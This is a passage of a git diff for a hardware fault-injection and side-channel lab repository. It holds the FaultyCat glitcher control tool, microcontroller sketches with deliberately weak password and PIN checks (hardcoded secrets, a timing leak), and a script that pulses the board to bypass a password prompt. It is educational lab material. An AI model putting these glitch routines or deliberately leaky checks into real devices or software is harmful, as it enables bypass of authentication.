serial_baudrate + + def is_valid_connection(self) -> bool: + try: + self.open() + self.close() + return True + except serial.SerialException as e: + return False + + def get_serial_ports(self): + return serial.tools.list_ports.comports() + + def reset_buffer(self): + self.serial_worker.reset_input_buffer() + self.serial_worker.reset_output_buffer() + + def cancel_recv(self): + self.recv_cancel = True + + def open(self): + self.serial_worker.open() + self.reset_buffer() + + def close(self): + self.reset_buffer() + self.serial_worker.close() + + def is_connected(self): + return self.serial_worker.is_open + + def send(self, data): + self.serial_worker.write(data) + self.serial_worker.write(b"\n\r") + self.serial_worker.flush() + + def recv(self): + if not self.is_connected(): + self.open() + try: + while not self.recv_cancel: + time.sleep(0.1) + + bytestream = self.serial_worker.readline() + if self.recv_cancel: + self.recv_cancel = False + return None + return bytestream + except serial.SerialException as e: + print(e) + return None + except KeyboardInterrupt: + self.recv_cancel = True + return None + + def send_recv(self, data): + self.send(data) + return self.recv() + + def stop_worker(self): + self.recv_cancel = True + self.reset_buffer() + self.close() + self.join() \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py new file mode 100644 index 0000000..0bb2e54 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py @@ -0,0 +1,68 @@ +import threading +import time +import typer +from rich.console import Console +from rich.table import Table + +from .UART import UART +from .ConfigBoard import ConfigBoard + +class FaultyWorker(threading.Thread): + def __init__(self): + super().__init__() + #self.daemon = True + self.workers = [] + self.board_uart = UART() + self.board_configurator = ConfigBoard() + self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"] + self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"] + + def add_worker(self, worker): + self.workers.append(worker) + + def stop_workers(self): + for worker in self.workers: + worker.join() + + def run_workers(self): + for worker in self.workers: + worker.start() + + def set_serial_port(self, serial_port): + self.board_uart.set_serial_port(serial_port) + + def validate_serial_connection(self): + return self.board_uart.is_valid_connection() + + def set_pulse_count(self, pulse_count): + self.pulse_count = pulse_count + self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count + + def set_pulse_time(self, pulse_time): + self.pulse_time = pulse_time + self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time + + def start_faulty_attack(self): + try: + self.board_uart.open() + time.sleep(0.1) + typer.secho("Board connected.", fg=typer.colors.GREEN) + typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN) + time.sleep(1) + typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN) + for i in range(self.pulse_count): + typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + time.sleep(self.pulse_time) + + typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + self.board_uart.close() + typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW) + except Exception as e: + typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED) \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc new file mode 100644 index 0000000..f503922 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc new file mode 100644 index 0000000..b36d3c6 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc new file mode 100644 index 0000000..34c38f2 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc new file mode 100644 index 0000000..a34e25d --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc new file mode 100644 index 0000000..127e108 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/faultycmd.py b/FaultInjection/prereqs/FaultyCat/faultycmd.py new file mode 100644 index 0000000..3831eec --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/faultycmd.py @@ -0,0 +1,133 @@ +import typer +import platform +import signal +import threading +import sys +from rich.console import Console +from rich.table import Table + +from Modules import CmdInterface +from Modules.CmdInterface import is_valid_number +from Modules import Worker + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + + +app = typer.Typer( + name="FaultyCat", + help="Script to control the FaultyCat and launch faulty attacks.", + add_completion=False, + no_args_is_help=True, +) + +faulty_worker = Worker.FaultyWorker() +workers = [] + + +def signal_handler(sig, frame): + print("You pressed Ctrl+C!") + faulty_worker.stop_workers() + for work in workers: + work.join() + sys.exit(0) + + +@app.command("config") +def config(): + """Get the current configuration of the FaultyCat.""" + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}" + ) + table_config.add_row( + "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}" + ) + + Console().print(table_config) + + +@app.command("devices") +def devices(): + """Get the list of available devices.""" + table_devices = Table(title="Available devices") + table_devices.add_column("Device", style="cyan") + table_devices.add_column("Description", style="magenta") + for device in faulty_worker.board_uart.get_serial_ports(): + table_devices.add_row(f"{device.device}", f"{device.description}") + + Console().print(table_devices) + + +@app.command("fault") +def faulty( + comport: str = typer.Argument( + default=DEFAULT_COMPORT, + help="Serial port to use for uploading.", + ), + pulse_count: int = typer.Option( + 1, "--pulse-count", "-p", help="Number of pulses to send.", show_default=True + ), + pulse_timeout: float = typer.Option( + 1.0, + "--pulse-timeout", + "-t", + help="Time in seconds between pulses.", + show_default=True, + ), + cmd: bool = typer.Option( + False, "--cmd", "-c", help="Launch the CMD Interface.", show_default=True + ), +): + """Setting up the FaultyCat. With this command you can configure the FaultyCat and launch faulty attacks.""" + typer.echo("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row("Serial port", f"{comport}") + table_config.add_row( + "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}" + ) + table_config.add_row( + "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}" + ) + table_config.add_row("Pulse count", f"{pulse_count}") + table_config.add_row("Pulse timeout", f"{pulse_timeout}") + + Console().print(table_config) + + faulty_worker.set_serial_port(comport) + + if cmd: + CmdInterface.CMDInterface(faulty_worker).cmdloop() + return + + if not faulty_worker.validate_serial_connection(): + typer.secho( + f"FaultyCMD could not stablish connection withe the board on: {comport}.", + fg=typer.colors.RED, + ) + return + + faulty_worker.set_pulse_count(is_valid_number(pulse_count)) + faulty_worker.set_pulse_time(is_valid_number(pulse_timeout)) + + faulty_worker.start_faulty_attack() + + +if __name__ == "__main__": + print( + """\x1b[36;1m +.@@@%@*%+ -@@+ #@@: @@% =@@@@%- %@% %+ @= | +.@@-.-.#@+=@@* %@@- .@@@.@@%:@@@ @@@ %+ :+++- @*+++- | FaultyCat v0.0.1 +.@*.=.+@@:=@@* %@@- .@@@.@@% @@@ @@@ %+ #%:.:## @%:.:## | by JahazielLem +.@@%*+*=. :@@%==@@@#-*@@#.@@% @@@-@@@ %+ @+ =@.@+ =@. | Company: PWNLabs - Electronics Cats +%@% :#@@@%*#@@@%+ %@* :#@@@#: =%#**=.*####@..*####: | +\x1b[0m""" + ) + signal.signal(signal.SIGINT, signal_handler) + app() diff --git a/FaultInjection/prereqs/FaultyCat/requirements.txt b/FaultInjection/prereqs/FaultyCat/requirements.txt new file mode 100644 index 0000000..5ffdc64 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/requirements.txt @@ -0,0 +1,9 @@ +click==8.1.7 +colorama +markdown-it-py +mdurl +Pygments==2.17.2 +pyserial +rich==13.7.0 +typer==0.9.0 +typing_extensions diff --git a/README.md b/README.md deleted file mode 100644 index 5ca94a8..0000000 --- a/README.md +++ /dev/null @@ -1,4 +0,0 @@ -Hardware -=============== - -A place for me to store my hardware experiments and scripts and useful tidbits \ No newline at end of file diff --git a/SideChannel/ATtiny85_Timing_Attack/4_digit.ino b/SideChannel/ATtiny85_Timing_Attack/4_digit.ino new file mode 100644 index 0000000..53839d4 --- /dev/null +++ b/SideChannel/ATtiny85_Timing_Attack/4_digit.ino @@ -0,0 +1,103 @@ +#include <avr/sleep.h> +#include <avr/interrupt.h> +#include <SoftwareSerial.h> + +const int rx = 1; // for serial input +const int tx = 4; // pin 5 for serial.print() +SoftwareSerial Serial(rx, tx); // rx, tx pins + +int rgLed = 2; // red/green LED pin +int button = 3; // buttons pin +int buttonValue; // Stores analog value when button is pressed + +String ourCode = "1324"; // Set the required PIN code. +String currentCode = ""; // Stores entered code + +void setup() { + pinMode(rgLed, INPUT); + pinMode(rx, INPUT); // setup and print to serial + pinMode(tx, OUTPUT); + Serial.begin(9600); + Serial.println("Running"); + + red(500); + green(500); +} + +#pragma GCC push_options +#pragma GCC optimize ("O0") // Disable optimisations + +void addkey(String keyPressed) { + currentCode += keyPressed; + Serial.println("Entered so far: " + currentCode); + + if (currentCode.length() == ourCode.length()) { + Serial.print("Checking: "); + volatile bool correct = true; + + for (int i = 0; i < ourCode.length(); i++) { + if (currentCode[i] != ourCode[i]) { + correct = false; + break; + } + + do_login(); + } + + if (correct) { + Serial.println("correct"); + green(500); + delay(500); + green(500); + delay(500); + green(500); + } else { + Serial.println("failed"); + red(500); + } + currentCode = ""; // Reset the entered code + } +} + +#pragma GCC pop_options + +void green(int del) { // turn on green LED for delay() + pinMode(rgLed, OUTPUT); + analogWrite(rgLed, HIGH); + delay(del); + pinMode(rgLed, INPUT); +} + +void red(int del) { // turn on red LED for delay() + pinMode(rgLed, OUTPUT); + analogWrite(rgLed, 255); + delay(del); + pinMode(rgLed, INPUT); +} + +void do_login(){ + delay(5); +} + +void loop() { + buttonValue = analogRead(button); // Read analog value from A0 pin + + if (buttonValue >= 1015 && buttonValue <= 1030) { // For 1st button: + addkey("1"); + } else if (buttonValue >= 1000 && buttonValue <= 1014) { // For 2nd button: + addkey("2"); + } else if (buttonValue >= 950 && buttonValue <= 999) { // For 3rd button: + addkey("3"); + } else if (buttonValue >= 870 && buttonValue <= 950) { // For 4th button: + addkey("4"); + } + + if (Serial.available()) { // Check if data is available from Serial input + char key = Serial.read(); // Read the character + if (key >= '1' && key <= '4') { // Ensure input is a valid key + addkey(String(key)); + } + } + + delay(100); +} diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino new file mode 100644 index 0000000..e9ffa78 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino @@ -0,0 +1,62 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + randomSeed(analogRead(0)); // Seed the random number generator for more randomness + delay(2000); // Delay for initialization +} + +void loop() { + // Generate one random number and assign it to both variables + volatile int originalNumber = random(10, 100); + volatile int num1 = originalNumber; + volatile int num2 = originalNumber; + + // Perform reversible operations to increase glitch susceptibility but keep values comparable + num1 = num1 ^ 0x55; // XOR num1 with 0x55 + num2 = num2 ^ 0x55; // XOR num2 with 0x55 + + delayMicroseconds(5); // Critical timing for glitches + + num1 = num1 ^ 0x55; // XOR again to reverse + num2 = num2 ^ 0x55; // XOR again to reverse + + delayMicroseconds(5); // Another critical timing for glitches + + // Extract the first and second digits + volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1 + volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1 + + delayMicroseconds(5); // More chances for glitches + + volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2 + volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2 + + delayMicroseconds(5); // Increased vulnerability + + // Check if the numbers still match after the potential glitch + int match = 0; + if (num1FirstDigit == num2FirstDigit) { + if (num1SecondDigit == num2SecondDigit) { + match = 1; + } + } + + if (match == 1) { + Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r"); + } else { + Serial.print("Glitch detected! Numbers do not match: "); + Serial.print(num1); Serial.print(" "); Serial.print(num2); + Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") "); + Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")"); + Serial.println(" "); + } + + delay(100); // Shorter delay to increase glitch detection chances +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png new file mode 100644 index 0000000..184f47e --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py new file mode 100644 index 0000000..5855b9c --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py @@ -0,0 +1,200 @@ +import sys +import time +import pexpect # Required to handle screen sessions +import threading +from Modules import Worker + +DEFAULT_COMPORT = "/dev/ttyACM0" +SCREEN_NAME = "ttyUSB0_screen" # Replace this with the actual screen session name + +# Initialize the FaultyWorker +faulty_worker = Worker.FaultyWorker() +# Shared variable to store the response from the device +device_response = None +child = None # Global child variable + +def initialize_child(): + """Initialize the global child process for the screen session.""" + global child + child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8') + child.expect(pexpect.TIMEOUT, timeout=1) # Clear out any pre-existing buffer + +def send_test_message_and_read_response(): + """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'.""" + global child + + # Send 'ping' to the screen session + child.sendline("ping") + sys.stdout.write("\rSent 'ping' to screen session.") + sys.stdout.flush() + + # Wait a bit to ensure the command is processed + time.sleep(0.5) + + # Try reading any new output from the screen session + try: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + if "pong" in response: + sys.stdout.write("\rReceived 'pong' response.") + return True + else: + sys.stdout.write(f"\rReceived unexpected response: {response}") + sys.stdout.flush() + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + + return False + +def read_screen_output(): + """Read output from the screen session in a separate thread.""" + global device_response + buffer = "" # Initialize a buffer to store incoming characters + + try: + while True: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + buffer += response # Append the new response to the buffer + + # Check if there's a complete line in the buffer + while "\n" in buffer: + line, buffer = buffer.split("\n", 1) # Split the buffer at the first newline + line = line.strip() # Remove any leading/trailing whitespace + + # Check for specific responses + if "incorrect!" in line: + #sys.stdout.write("\rReceived 'incorrect' response.") + device_response = 'incorrect' + return # Exit the loop on incorrect response + elif "correct" in line: + # Die here: Echo message, disarm device, and kill the program + sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n") + sys.stdout.flush() + + # Disarm the board + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + + # Exit the program + sys.exit(0) + + else: + sys.stdout.write(f"\rReceived unexpected response: {line}") + sys.stdout.flush() + + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError reading from screen session: {e}") + sys.stdout.flush() + +def send_pulse_and_check_response(): + """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel.""" + global device_response + try: + # Wait a bit to ensure the command is processed + + + # Send 'incorrectPassword' command to the screen session + sys.stdout.write("\rSending 'incorrectPassword' to screen session.") + sys.stdout.flush() + child.sendline("incorrectPassword") + + time.sleep(0.35) + + # Send 'pulse' command (simulating the pulse trigger) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + sys.stdout.write("\rSent pulse...") + sys.stdout.flush() + + # Start a thread to read the screen output + reader_thread = threading.Thread(target=read_screen_output) + reader_thread.start() + + # Wait for the reading thread to complete + reader_thread.join() + + except Exception as e: + sys.stdout.write(f"\rError interacting with screen session during pulse: {e}") + sys.stdout.flush() + return False + +def start_faulty_attack(): + """Send a pulse through the FaultyCat and listen for the response concurrently.""" + global child + try: + # Initialize the child process for screen session + initialize_child() + + # Open FaultyCat connection + faulty_worker.board_uart.open() + time.sleep(0.1) + sys.stdout.write("\rBoard connected.\n") + sys.stdout.flush() + + # Arming the board + sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + sys.stdout.write("\r[*] ARMED BOARD.\n") + sys.stdout.flush() + time.sleep(1) + + # Sending pulses and checking responses in a loop (up to 5 times) + max_iterations = 5 + for i in range(max_iterations): + sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n") + sys.stdout.flush() + + # Send the test message and check for pong + if send_test_message_and_read_response(): + + max_iterations_2 = 3 + for j in range(max_iterations_2): + # Send pulse and check for correct/incorrect response + if send_pulse_and_check_response(): + break # Break the loop if 'correct!' is received + + # Small delay before next iteration + time.sleep(1) + + # Disarm the board + sys.stdout.write("\rDISARMING BOARD. \n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + sys.stdout.write("\rBOARD DISARMED.\n") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError: {e}\n") + sys.stdout.flush() + finally: + # Make sure to clean up the child process + if child: + child.close() + +def faulty(): + """Configure and send pulses through the FaultyCat.""" + comport = DEFAULT_COMPORT + + print("Configuring the FaultyCat...") + print(f"Using serial port: {comport}") + + # Set the serial port + faulty_worker.set_serial_port(comport) + + # Validate the serial connection + if not faulty_worker.validate_serial_connection(): + print(f"Error: Could not establish connection on: {comport}") + return + + # Start the faulty attack (send pulse) + start_faulty_attack() + +if __name__ == "__main__": + print("Starting FaultyCat...") + faulty() diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino new file mode 100644 index 0000000..ec5db1f --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino @@ -0,0 +1,83 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +const String correctPassword = "secure123"; // Hardcoded password +String inputString = ""; // Variable to hold user input +bool stringComplete = false; // Flag to indicate when a string is complete +bool loggedIn = false; + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(200); // Delay for initialization + Serial.print("[-]> "); +} + +void prompt(){ + // Reset for the next input without checking password + inputString = ""; + stringComplete = false; + if(loggedIn == false){ + Serial.print("[-]"); // not logged in + }else{ + Serial.print("[+]"); // logged in + } + Serial.print("> "); +} + +void loop() { + // If the string is complete, process the input + if (stringComplete) { + // Glitch-prone section: making the comparison more complex and glitch-susceptible + volatile bool match = false; // Using 'volatile' to increase glitch vulnerability + + // Introduce some artificial delays (vulnerable points for glitching) + for (volatile int i = 0; i < 100; i++) { + delayMicroseconds(1); // Short delay to give more opportunity for glitches + } + + // Dummy operation: XOR password with itself (reversible) before comparison + volatile String tempPassword = correctPassword; + for (int i = 0; i < tempPassword.length(); i++) { + tempPassword[i] ^= 0xFF; // XOR with 0xFF (dummy operation to increase complexity) + tempPassword[i] ^= 0xFF; // XOR back to restore original password + } + + // Check if input is "ping" + if (inputString == "ping") { + Serial.println("pong"); // Respond with "pong" if input is "ping" + prompt(); + return; // Exit the loop to avoid further processing (no "Password incorrect!" after "pong") + } + // Now compare the user input with the hardcoded password, but with timing window + else if (inputString == correctPassword) { + match = true; // Passwords match + } + + // Add a chance for glitches to affect this critical condition + if (match) { + Serial.println("Password correct!"); + loggedIn = true; + } else { + Serial.println("Password incorrect!"); + } + prompt(); + } + + // Listen for input from the user + while (Serial.available()) { + char inChar = (char)Serial.read(); // Read the incoming character + + // Check if it is the return character (indicating the end of input) + if (inChar == '\r' || inChar == '\n') { + stringComplete = true; + } else { + // Append the character to the input string + inputString += inChar; + } + } +} diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png new file mode 100644 index 0000000..05d97a6 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py new file mode 100644 index 0000000..0aacecf --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py @@ -0,0 +1,80 @@ +import cmd +import typer +from rich.console import Console +from rich.table import Table + + +def is_valid_number(number): + if number < 0: + raise typer.BadParameter("Number must be positive.") + return number + +class CMDInterface(cmd.Cmd): + intro = "Type help or ? to list commands.\n" + prompt = "?> " + file = None + doc_header = "Commands" + misc_header = "Misc Commands" + undoc_header = "Undocumented Commands" + + def __init__(self, faulty_worker): + super().__init__() + self.faulty_worker = faulty_worker + + def do_config(self, args): + """Configure the FaultyCat.""" + print("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}" + ) + table_config.add_row( + "Pulse time", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}", + ) + table_config.add_row( + "Pulse power", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}", + ) + table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}") + Console().print(table_config) + + def do_set(self, args): + """Set a parameter.""" + print("Setting a parameter...") + args_list = args.split() + if args == "help" or args == "?": + print("Available parameters:") + print("\t[time] pulse_time") + print("\t[count] pulse_count") + print("\tport") + return + + if len(args_list) != 2: + print("Invalid number of arguments.") + return + + if args_list[0] == "pulse_time" or args_list[0] == "time": + self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1]))) + + if args_list[0] == "pulse_count" or args_list[0] == "count": + self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1]))) + + if args_list[0] == "port": + self.faulty_worker.set_serial_port(args_list[1]) + if not self.faulty_worker.validate_serial_connection(): + typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED) + return + + self.do_config(args) + + def do_start(self, args): + """Start the FaultyCat.""" + print("Starting the FaultyCat...") + self.faulty_worker.start_faulty_attack() + + def do_exit(self, line): + """Exit the CLI.""" + return True diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py new file mode 100644 index 0000000..f795f79 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py @@ -0,0 +1,61 @@ +from enum import Enum + +class Commands(Enum): + COMMAND_HELP = "h" + COMMAND_ARM = "a" + COMMAND_DISARM = "d" + COMMAND_PULSE = "p" + COMMAND_ENABLE_TIMEOUT = "en" + COMMAND_DISABLE_TIMEOUT = "di" + COMMAND_FAST_TRIGGER = "f" + COMMAND_FAST_TRIGGER_CONF = "fa" + COMMAND_INTERNAL_HVP = "ih" + COMMAND_EXTERNAL_HVP = "eh" + COMMAND_CONFIGURE = "c" + COMMAND_TOGGLE_GPIO = "t" + COMMAND_STATUS = "s" + COMMAND_RESET = "r" + + def __str__(self): + return self.value + +class BoardStatus(Enum): + STATUS_ARMED = "armed" + STATUS_DISARMED = "disarmed" + STATUS_CHARGED = "charged" + STATUS_PULSE = "pulsed" + STATUS_NOT_CHARGED = "Not Charged" + STATUS_TIMEOUT_ACTIVE = "Timeout active" + STATUS_TIMEOUT_DEACT = "Timeout deactivated" + STATUS_HVP_INTERVAL = "HVP interval" + + def __str__(self): + return self.value + + @classmethod + def get_status_by_value(cls, value): + for status in cls.__members__.values(): + if status.value == value: + return status + return None + +class ConfigBoard: + BOARD_CONFIG = { + "pulse_time" : 1.0, + "pulse_power": 0.012200, + "pulse_count": 1, + "port" : "COM1" + } + def __init__(self) -> None: + self.board_config = ConfigBoard.BOARD_CONFIG + self.board_commands = Commands + + def get_config(self) -> dict: + return self.board_config + + def set_config(self, config: dict) -> None: + self.board_config = config + + def __str__(self) -> str: + return f"Board config: {self.board_config}" + \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py new file mode 100644 index 0000000..3fd677f --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py @@ -0,0 +1,97 @@ +import platform +import serial +import time +import serial.tools.list_ports +import threading + +from .ConfigBoard import BoardStatus + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + +DEFAULT_SERIAL_BAUDRATE = 921600 + +class UART(threading.Thread): + def __init__(self, serial_port: str = DEFAULT_COMPORT): + self.serial_worker = serial.Serial() + self.serial_worker.port = serial_port + 